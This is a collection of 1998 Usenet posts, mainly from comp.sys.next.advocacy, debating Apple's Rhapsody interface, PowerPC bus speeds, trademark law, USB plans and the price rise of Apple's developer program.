References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
In article <6g923i$h2l$1@nnrp1.dejanews.com>, spagiola@usa.net wrote:
> sal@panix3.panix.com (Salvatore Denaro) wrote:
> > > Point taken; NS was Jobs' second GUI OS (and I must say, far
> > > better than the first).
> >
> > And Rhapsody is going to be the third.
>
> True. But that doesn't mean it'll necessarily be better. Whereas with the
> second (ie NeXTSTEP), they were able to start with a blank slate and come up
> with the best UI they could, in the case of the third they are very much
Well, some of the things they did differently in NeXTSTEP were done
differently from Apple primarily to avoid stepping on Apple's toes in this
regard. At the time, Apple was still fighting for its "look and feel" in
court with Microsoft (which had no such qualms as NeXT in ripping off
Apple.) I don't know who it was, but someone with NeXT made this point.
I dare say the UI will be far superior to any other UI on the planet in
short order. Here, they're combining the best aspects of the traditional,
familiar Mac UI with the best aspects of the NeXT UI...these two companies
have been responsible for what today are arguably the two best GUIs there
have ever been, and they're distilling them into one. I don't see how it
*can't* be better.
Trev
--
http://www.uscsu.sc.edu/~tzbaukni
trev@sc.eduEATMOSPAM (unmunge)
From: ofirvqge@hello.com
Newsgroups: comp.sys.next.advocacy
Subject: It is true !!
Date: 6 Apr 1998 03:49:25 GMT
Organization: World of Free
Message-ID: <6g9jc5$fg8$4@imsp009a.netvigator.com>
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please tell your friend about us, thank you
From: pomart@cartoon.ecn.purdue.edu (Your Name)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 6 Apr 1998 02:09:17 GMT
Organization: Purdue University
Message-ID: <6g9dgd$o66@mozo.cc.purdue.edu>
References: <6fbvpe$l63@newsb.netnews.att.com> <tim-2503982101370001@jump-k56flex-0183.jumpnet.com> <6fib8g$lun$1@vixen.cso.uiuc.edu> <handleym-3003981345140001@handma.apple.com>
handleym@apple.com (Maynard Handley) writes:
Actually IBM and Intel have just developed
good memory that runs at 100Mhz well.
>In article <6fib8g$lun$1@vixen.cso.uiuc.edu>, bowlin@uiuc.edu (bowlin) wrote:
>> > -- Tim Olson
>>
>> I would expect a small performance increase with the PII or the G3 when it
>> comes to the 100 MHz bus. Most memory simms/dimms cannot run well on a 100
>> MHz bus and a lot of peripheral/graphics card become troublesome at bus
>> speeds exceeding 75 MHz. In fact, some scsi hard drives lose information
>> at bus speeds in excess of 75 MHz.
>Huh?
>SCSI and graphics cards live on the PCI side of the bus. They are
>completely uncoupled to the speed of the main bus.
>Now it may be common in PC land (where everything is a piece of crap) to
>try to save 50 cents by using a brain dead PCI bridge chip and running the
>PCI bus sync with the memory bus at 37.5 MHz (for a 75MHz memory bus)
>thereby going way beyond the PCI spec and unsurprisingly breaking half the
>PCI cards. However in Mac land for the most part the designers tend to
>actually follow the specs and do things right. Pretty much every mac with
>PCI runs the PCI async to the memory bus at either 30 or 33MHz.
>Maynard
>--
>My opinion only
From: jgareau@apple.com (Justin Gareau)
Newsgroups: comp.sys.next.advocacy
Subject: Re: When will Unix be free?
Date: 7 Apr 1998 19:01:56 GMT
Organization: Apple Computer, Inc.
Message-ID: <6gdt74$h96$1@news.apple.com>
References: <geordie-0704981301040001@130.130.117.53>
In article <geordie-0704981301040001@130.130.117.53> geordie@chapman.com
(Geordie Korper) writes:
> In article <6gcfsq$nad$2@pith.uoregon.edu>, Wesley Horner
> <wesman@azrael.uoregon.edu> wrote:
>
> :Raymond N Shwake <rshwake@rsxtech.atww.org> wrote:
> :
> :> UNIX is not just a TradeMark (TM), but a *registered* trademark
(R).
> :> Perhaps you call a Ricoh copier a Xerox (R) machine, or your PUFFS
tissue a
> :> Kleenex (R), but in each case you're violating legal rights. Yes, we
all
> :> do it, but a "class reference" has no validity where trademark law is
> :> concerned.
> :
> :Perhaps it has become common enough that the trademark is meaningless.
Remeber
> :the zipper? It was one a trademarked product but lost the trademark
when it
> :bcame a household name. Mmmmm is unix a house hold name? A number of
people
> :think a unix is somthing else :)
>
>
> It gets sticky when discussing trademarks in an international market.
IIRC
> Aspirin is still a trademark of Bayer AG in dozens of countries. I
believe
> it was approved as a trademark in russia within the last 3 or 4 years in
> fact. It would still be trademarked in the US if it weren't for that
> little misunderstanding between Germany and the US a few decades after
> Bayer came out with the acetylated version of the extract from the
spirea
> plant.
Aspirin is still trademarked in Canada. Brands other than Bayer are
labeled ASA.
Newsgroups: comp.sys.next.advocacy
Subject: Re: When will Unix be free?
References: <geordie-0704981301040001@130.130.117.53> <6gdt74$h96$1@news.apple.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352a882c.0@206.25.228.5>
Date: 7 Apr 98 20:10:20 GMT
> In article <geordie-0704981301040001@130.130.117.53> geordie@chapman.com
> (Geordie Korper) writes:
> > It gets sticky when discussing trademarks in an international
> > market. IIRC Aspirin is still a trademark of Bayer AG in dozens
> > of countries. I believe it was approved as a trademark in
> > russia within the last 3 or 4 years in fact. It would still be
> > trademarked in the US if it weren't for that little misunderstanding
> > between Germany and the US a few decades after Bayer came out
> > with the acetylated version of the extract from the spirea
> > plant.
Actually, the problem is that Bayer let their Trademark become
generic. Once that happens, you lose your mark. It is possible
to get a mark that has become a generic term back as a Trademark.
Though it's rare, and difficult to pull off. Xerox does all those
ads about its Trademark because it has come dangerously close to
becoming a generic term. Once most people start using your word
in a form other than an adjective, you're in trouble.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: petcher@howdy.wustl.edu (Donald N. Petcher)
Newsgroups: comp.sys.next.advocacy
Subject: Is USB coming??
Date: 7 Apr 1998 21:01:13 GMT
Organization: Washington University in St. Louis
Message-ID: <6ge46p$4sg$1@newsreader.wustl.edu>
I recently read (in Macintouch?) about Hewlett-Packard agreeing to continue
making ink-jets for Apple, including a statement that they need to "Address
the USB printer development issues needed to meet Apple's needs in June in
the US and worldwide in the Fall '98." This implies that Apple plans to
introduce USB into their hardware. Does anyone have any idea when this will
happen? I haven't seen any announcements or even rumors to that effect,
except this one.
Should I buy now (G3) or wait for USB? Can I add USB with a PCI card?
Cheers,
Don Petcher
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 7 Apr 1998 23:07:48 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6267$fa532b30$9b2168cf@test1>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
> Agreed. I might have considered getting Rhapsody under the previous
> program. I might be able to scrounge up $250. $500 is out of my price
> range.
>
> I guess they didn't solicit input from graduate students when forming
> their new policies. I'm hardly an important developer for Apple, and am
As a student, you will probably be able to get the full development
environment quite inexpensively from Apple, but we will have to wait a
while for Apple to make that move. The last time I received word from
Apple (less than a month ago), they had not hammered out all the license
deals with third parties.
Also, $500 is still quite cheap. As I mentioned in another thread,
yesterday I paid $1300+ for a license to use Digital's command-line
debugger (which is pretty lame).
I am also a Sun Catalyst member, but I still pay a fairly high price for
Sun's development tools.
While its hard to pay the high prices for the software, I always balance it
against my time as well as other expenses as a developer.
Likewise, Apple is balancing their expenses against prices they charge.
There are very few companies other than Microsoft that have the volume,
market clout, and cash cows to let them charge ludicrously low prices on
other products or services.
Todd
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Followup-To: comp.sys.powerpc.tech,comp.sys.next.advocacy
Date: 6 Apr 1998 21:04:00 GMT
Organization: University of Maryland, College Park
Message-ID: <6gbg00$j05$1@hecate.umd.edu>
Salvatore Denaro (sal@panix3.panix.com) wrote:
: On Mon, 06 Apr 1998 00:37:35 -0400, Arun Gupta <suvidya@worldnet.att.net> wrote:
: >A message on a www.xlr8yourmac.com forum says :
: >
: >I tested my 266 DT at the 292MHz/83MHz, 300/66, & 315/70 CPU/Bus speed settings
: >and found the results of both benchmarks &
: >graphic manipulation to be linear with the CPU speed. That tells me that bus
: >speed is not a limitation for the 266 (and likely 233) G3's.
: Hmmm... But bus speed is a major limitation for x86 CPUs. It might have to
: do with the large register pool in PPC chips vs the "accumulator" styled
: register pool that the x86 has. Having a large L2 might help, but; I would
: think that there would still be more memory read/writes with the x86s
: smaller reg pool.
What if there is a big read/write buffer that sits in front of the cache,
in such a way that writes to memory are coalesced, and reads to memory are
checked in the buffer first? A lot of the memory reads/writes goes away.
(Yes, there is something like that on the PPro/P II)
: --
: sal@panix.com Salvatore Denaro
: "The reality of the software business today is that if you find
: something that can make you ridiculously rich, then that's something
: that Microsoft is going to take away from you." -- Max Metral
--
The more you learn, the more you will come to realize that how little of
the universe that you actually understand. I am convinced that, soon, I
will know and understand nothing.
Date: Mon, 06 Apr 1998 06:49:24 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <joe.ragosta-0604980649240001@wil84.dol.net>
References: <trev-0504982024220001@nas-sa-p5.usc.net> <B14DD7A6-66A11@206.165.43.142>
In article <B14DD7A6-66A11@206.165.43.142>, "Lawson English"
<english@primenet.com> wrote:
> Trevor Zion Bauknight <trev@sc.edu> said:
>
> [NeXT GUI + MacOS GUI =?]
>
> > I dare say the UI will be far superior to any other UI on the planet in
> > short order. Here, they're combining the best aspects of the
> traditional,
> > familiar Mac UI with the best aspects of the NeXT UI...these two
> companies
> > have been responsible for what today are arguably the two best GUIs there
> > have ever been, and they're distilling them into one. I don't see how it
> > *can't* be better.
>
>
>
> Jef Raskin, Father of the Macintosh, had an article that discussed this
> very point. His take is that taking two different GUIs targetted at two
> different audiences and trying to "merge the best of both" will likely
> produce the worst of both instead.
ROTFLMAO.
Typical Lawson.
Let's see. You want to know about the merged Rhapsody GUI. So, rather than
talk to people who had used NeXT, Rhapsody, and Mac OS or even looking for
yourself, you drag up a vintage quote from the infancy of the GUI personal
computer.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Art Urban <urban@fsl.noaa.gov>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Help Registration method....
Date: Wed, 08 Apr 1998 15:16:03 +0000
Organization: Forecast Systems Laboratory
Message-ID: <352B94B3.BA7B006B@fsl.noaa.gov>
References: <6gf9io$861$1@green.kreonet.re.kr>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Young-Jin, Lee wrote:
>
> Hi, All
>
> I've met a link error, but I don't understand what it is.
> I'll wait for your answer. Here is link error message.
>
> declaration syntax error : CControlsApp.cp line 57
> TRegistar<LToggleButton>::Register()
Since this is a linker error, I'm going to presume that
you did not inlude LToggleButton.cp in your project file.
If you did, then I don't know what's wrong.
--
///////////////////////////|\\\\\\\\\\\\\\\\\\\\\\\\\\\
Art T. Urban Systems Support & FSL/FD WebMaster
-------------------------------------------------------
NOAA/ERL/FSL/FD (303) 497-6922
R/E/FS2 urban@dilbert.fsl.noaa.gov
325 Broadway http://www-fd.fsl.noaa.gov/~urban
Boulder, CO 80303 Room 227A in Research Lab 3
-------------------------------------------------------
"The Universe is run by the complex interweaving of
three elements: energy, matter and enlightened
self-interest."
- G'Kar (Babylon 5)
\\\\\\\\\\\\\\\\\\\\\\\\\\\|///////////////////////////
From: Rob Szarek <raszarek@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 11:16:13 -0400
Organization: Yahoo Email Services
Message-ID: <352B94BD.614C@yahoo.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <j-jahnke-0704981616320001@192.168.1.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jerome Jahnke wrote:
>
> In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod"
> <macghod@concentric.net> wrote:
>
> > WTF is up with the apple developer program? I see a big announcement, and
> > all it is is:
> > 1st level: online stuff, just as it is now, ie NO CHANGE
> > 2nd level: instead of costing $250 a year its now $500 a year??!?!??
> >
> > As far as I can tell it adds nothing and is a 2x increase!! Why to support
> > development apple :)
>
> Actually it adds nothing, removes other stuff and increases by a factor of
> two... Apple did this a few years ago, gouge developers. It didn't work
> then. I don't see why they think it will work now.
>
> Jer,
This is the REAL REASON why Apple is dying. You should encourage
developement and rip off those who try to support you. Apple will never
learn and still is greedy.
From Macintouch:
"feedback on Apple's new developer programs has been completely
negative, and these are the issues cited:
1.service reductions in pre-paid developer support plans
2.elimination of almost all hardware discounts (part of pre-paid plans)
3.higher costs"
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 15:49:35 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gg6af$fit$1@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr>
xhsoft@injep.fr (Xavier Humbert) wrote:
> Scott Ellsworth <scott@eviews.com> wrote:
>> The seeding program, imho, served a valuable purpose, but
>> Apple, I think, does not want any leaks of its seeds, and so
>> it is trying to reduce the number of developers who might
>> have access.
>
> What is obviously stupid : WarEz sites have System Seeds BEFORE the
> official FTP :-(
>
> Xav, looking for a warez URL
I don't have much of an opinion about Apple's change to their Dev. program
pricing, one way or the other. I do know, however, that people who condone
software piracy have no moral grounds whatsoever to complain about what Apple
does.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 16:04:20 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gg764$fit$2@anvil.BLaCKSMITH.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com> <trev-0504982024220001@nas-sa-p5.usc.net> <see-below-0604982338260001@209.24.240.118> <6gejeo$r0i$1@ha2.rdc1.sdca.home.com> <6gfc6k$45p$1@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
[ ... ]
> Oddly however the "physical" package was not - it was Lisa all over
> again. Big, no holds barred, and priced itself out of it's target market.
> I have little doubt in my mind that had the Stations come out first, NeXT
> would still be a going concern on it's own.
NeXT's target markets were higher-ed, government, high-end publishing and
graphic arts, financial houses, and other vertical market deployments. NeXT
was not targetted for the mass-market-- that was always a fond hope of most
people in the community and many at NeXT, but NeXT's management obviously set
price-points and licensing costs well outside of the horizontal market.
In fall of '90, which was about when I picked up my station, it's
price/performance was better than that of most of the hardware around. We
were talking about 16 MIPS, about the same as a DECstation 3100. It was
faster than the Sun 3 boxen or the fastest Intel chips around then, and it
outperformed and worked better than the best Mac around. Even with the 35%
academic discount from CMU, the price for a semi-loaded IIfx (IIRC) with a
17" display was not cheap.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Mon, 06 Apr 1998 08:17:55 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6gakm2$812$1@nnrp1.dejanews.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com> <slrn6ih37n.grh.mbkennel@lyapunov.ucsd.edu>
mbkennel <replace this with '@'> yahoo.com wrote:
> spagiola wrote:
> :> > Point taken; NS was Jobs' second GUI OS (and I must say, far
> :> > better than the first).
> :>
> :> And Rhapsody is going to be the third.
> :
> :True. But that doesn't mean it'll necessarily be better. Whereas with the
> :second (ie NeXTSTEP), they were able to start with a blank slate and come
up
> :with the best UI they could, in the case of the third they are very much
> :constrained by the need to accomodate the legacy Mac users. And it is
> :well-known that imposing constraints on something never makes something
> :better.
>
> And supposing "Themes" really works as well as it ought? Perhaps then
> there will be a "NeXT Classic" theme?
Well, I'm sure that it's well within Apple's power and very considerable
technical competence to come up with a very flexible environment that will let
users to pick and choose what their UI should look like, whether it be
Mac-like, NeXTSTEP-like, or even (shudder) Windows-like, or (best of all) some
idiosyncratic mix of all of the above. The question isn't whether they CAN do
it, it's whether they WILL do it.
And notice that I never said NeXTSTEP's UI couldn't be improved on. Just that
"making it more Mac-like" isn't necessarily a recipe for such improvements.
I'm sure whatever Apple comes up with will be better than Windows. That's not
difficult. I'm not as confident that it will be as good as it might have been.
But as I've said before, if a somewhat less-than-optimal UI is the price we
need to pay to bring 20 million Mac users on board with Rhapsody, then that's
a price I'm willing to pay.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 11:29:45 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0804981129460001@192.168.1.3>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5>
In article <352b5da2.0@206.25.228.5>, jkheit@xtdl.com wrote:
> j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
> > In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
> > trumbull@cs.yale.edu (Ben Trumbull) wrote:
> > > I'm not about to stand up and say these changes are a great
> > > idea on Apple's part, but you do realize, you can buy *just*
> > > the tech mailing (including develop) for $199 ?
>
> > Which is what we used to do, but then realized you could not get
> > seeded unless you were an associate.
>
> What's seeded mean? Does that mean no beta's?
Yep.
Jer,
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 98 17:01:51 GMT
Organization: QMS
Message-ID: <6ggahf$rts$3@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <j-jahnke-0704981616320001@192.168.1.3> <support-0704982011260001@207-172-164-184.s57.as4.loc.erols.com>
In article <support-0704982011260001@207-172-164-184.s57.as4.loc.erols.com>, support@fluxsoft.com (Maurice Volaski) wrote:
>In article <j-jahnke-0704981616320001@192.168.1.3>, j-jahnke@uchicago.edu
>(Jerome Jahnke) wrote:
>
>>In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod"
>><macghod@concentric.net> wrote:
>>
>>> WTF is up with the apple developer program? I see a big announcement, and
>>> all it is is:
>>> 1st level: online stuff, just as it is now, ie NO CHANGE
>>> 2nd level: instead of costing $250 a year its now $500 a year??!?!??
>>>
>>> As far as I can tell it adds nothing and is a 2x increase!! Why to support
>>> development apple :)
>>
>>Actually it adds nothing, removes other stuff and increases by a factor of
>>two... Apple did this a few years ago, gouge developers. It didn't work
>>then. I don't see why they think it will work now.
>
>It won't if we complain (won't it?).
I like the idea. Who do we complain to, and how? Ric Ford said on
Macintouch that the feedback was uniformly negative. I am hoping to
send a copy of the same letter to MacWeek, in hopes that they also
will talk about it.
(salt in the wounds - I just noticed that the former Associates, like
myself, do not get the two calls to support that Premier members
already get, so it is quite official. Nothing was added, and
substantial things were taken away. Scum.)
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 98 17:03:16 GMT
Organization: QMS
Message-ID: <6ggaju$rts$4@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
In article <j-jahnke-0704982342480001@192.168.1.3>, j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
>In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
>trumbull@cs.yale.edu (Ben Trumbull) wrote:
>
>> I'm not about to stand up and say these changes are a great idea on
>> Apple's part, but you do realize, you can buy *just* the tech mailing
>> (including develop) for $199 ?
>
>Which is what we used to do, but then realized you could not get seeded
>unless you were an associate.
I, as well.
Hmmm. Hell may have just frozen over - I find myself agreeding
with both of your last two posts. In point of fact, your reminder
that Apple had tried this before and failed was very timely.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 6 Apr 1998 14:53:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ihr33.mgm.sal@panix3.panix.com>
References: <6fbvpe$l63@newsb.netnews.att.com> <tim-2503982101370001@jump-k56flex-0183.jumpnet.com> <6fib8g$lun$1@vixen.cso.uiuc.edu> <handleym-3003981345140001@handma.apple.com> <6g9dgd$o66@mozo.cc.purdue.edu> <6g9m3n$neh@bgtnsc02.worldnet.att.net>
On Mon, 06 Apr 1998 00:37:35 -0400, Arun Gupta <suvidya@worldnet.att.net> wrote:
>A message on a www.xlr8yourmac.com forum says :
>
>I tested my 266 DT at the 292MHz/83MHz, 300/66, & 315/70 CPU/Bus speed settings
>and found the results of both benchmarks &
>graphic manipulation to be linear with the CPU speed. That tells me that bus
>speed is not a limitation for the 266 (and likely 233) G3's.
Hmmm... But bus speed is a major limitation for x86 CPUs. It might have to
do with the large register pool in PPC chips vs the "accumulator" styled
register pool that the x86 has. Having a large L2 might help, but; I would
think that there would still be more memory read/writes with the x86s
smaller reg pool.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 11:31:45 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
In article <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>,
rexr@cx54440-a.dt1.sdca.home.com wrote:
> In <352b5da2.0@206.25.228.5> John Kheit wrote:
> > j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
> > > In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
> > > trumbull@cs.yale.edu (Ben Trumbull) wrote:
> What Apple Developer Program seeds is neither leadership nor a grand vision
> around which anyone can "rally" . So Apple's unilateral actions lack
> context and seed resentment and hostility...
What this really means is less shareware (on top of the fact that its already
shrinking because the platform is shrinking), and less software from small
developers in general, you know, the people from whom all the innovation
comes.
George Graves
Sender: khuber@bambi.visi.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
From: Kevin Huber <khuber@yuck.net>
Message-ID: <uj2emz888nl.fsf@bambi.visi.com>
Date: Wed, 08 Apr 1998 18:34:26 GMT
NNTP-Posting-Date: Wed, 08 Apr 1998 13:34:26 CST
Rex> Some people are under the assumption that Apple's Developer
Rex> Program is tasked with the "mission" to multiply and procreate a
Rex> whole cadre of wonderful developers and new applications for
Rex> Rhapsody.
Yes the big guys need to port, but there are a lot of people who write
freeware and shareware apps. When you make it hard for the individual
developers it makes for an unfriendly community IMO.
I don't understand why they made this change before CR1. It could be
too many people were signing on just to get preview copies and Apple
didn't like it. Maybe they could solve that by selling preview copies
:-). Why snub a lot of people that were willing to pay $250 a pop
for a beta but not $500?
-Kevin
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 11:31:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1511189-1AF6A@206.165.43.154>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
To: "Rex Riley" <rriley@yahoo.com>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Rex Riley <rriley@yahoo.com> said:
> Apple's actions signal that it can't afford to get into the "handout"
> business nor support legions of "individual" developers (read welfare).
By
> "raising-the-bar" Apple introduces an entry fee and seeds the concept of
> "profit" in its Developer base. Developers who approach Rhapsody without
> resources and a profit motive will be annoyed, discouraged and drop off.
But shareware programmers often fill in the gaps that commercial software
leaves. Also shareware programmers learn the ropes via feedback from their
customers and are often high school/college students who later enter the
Mac programming field as professionals.
There's one very, VERY important piece of software that wouldn't exist if
shareware wasn't easy to do on the Mac:
Stuffit.
Raymond Lau put himself through MIT by writing Stuffit when he was 16 and
Alladin Software is a pretty important software house in the Macintosh
community..
Where's the next Stuffit or Alladin Software for MacOS going to come from
if there aren't going to be any more Raymond Lau's?
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
